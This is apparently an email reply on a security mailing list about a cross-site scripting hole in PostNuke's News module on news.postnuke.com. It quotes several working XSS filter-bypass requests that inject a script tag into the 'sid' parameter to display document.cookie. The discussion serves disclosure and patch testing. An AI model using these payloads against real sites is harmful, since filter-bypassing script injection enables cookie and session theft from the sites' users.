I saw the problem has been solved, and the get you proposed below are no more working. But if you use the following get, the popup appears again: on the url http://news.postnuke.com/modules.php the get ?op=modload&name=News&file=article&sid=<script>alert(document.cookie);</script+> Best Regars, Sebastian Daniel Woods wrote: >Humm! > > > > >Not so fast on the praise :( > >It only took me a couple of workarounds to find ways to bypass the check. > > http://news.postnuke.com/modules.php > ?op=modload&name=News&file=article&sid=<script>alert(document.cookie);</script> > >Using the request... > ?op=modload&name=News&file=article&sid=<\script>alert(document.cookie);</script> >gives me the DB Error: message > >And using the request... > ?op=modload&name=News&file=article&sid=<script+>alert(document.cookie);</script> >gives me the Alert Popup and DB Error: message... the '+' is treated as a blank. > >Thanks... Dan. > > > -- Sebastian Konstanty Zdrojewski IT Analyst Neticon a brand of Every Level S.r.l. Via Valtellina 16 - 20159 Milano - MI - Italy Phone (+39) 02.68.80.731 E-Mail s.zdrojewski@neticon.it Website http://www.neticon.it
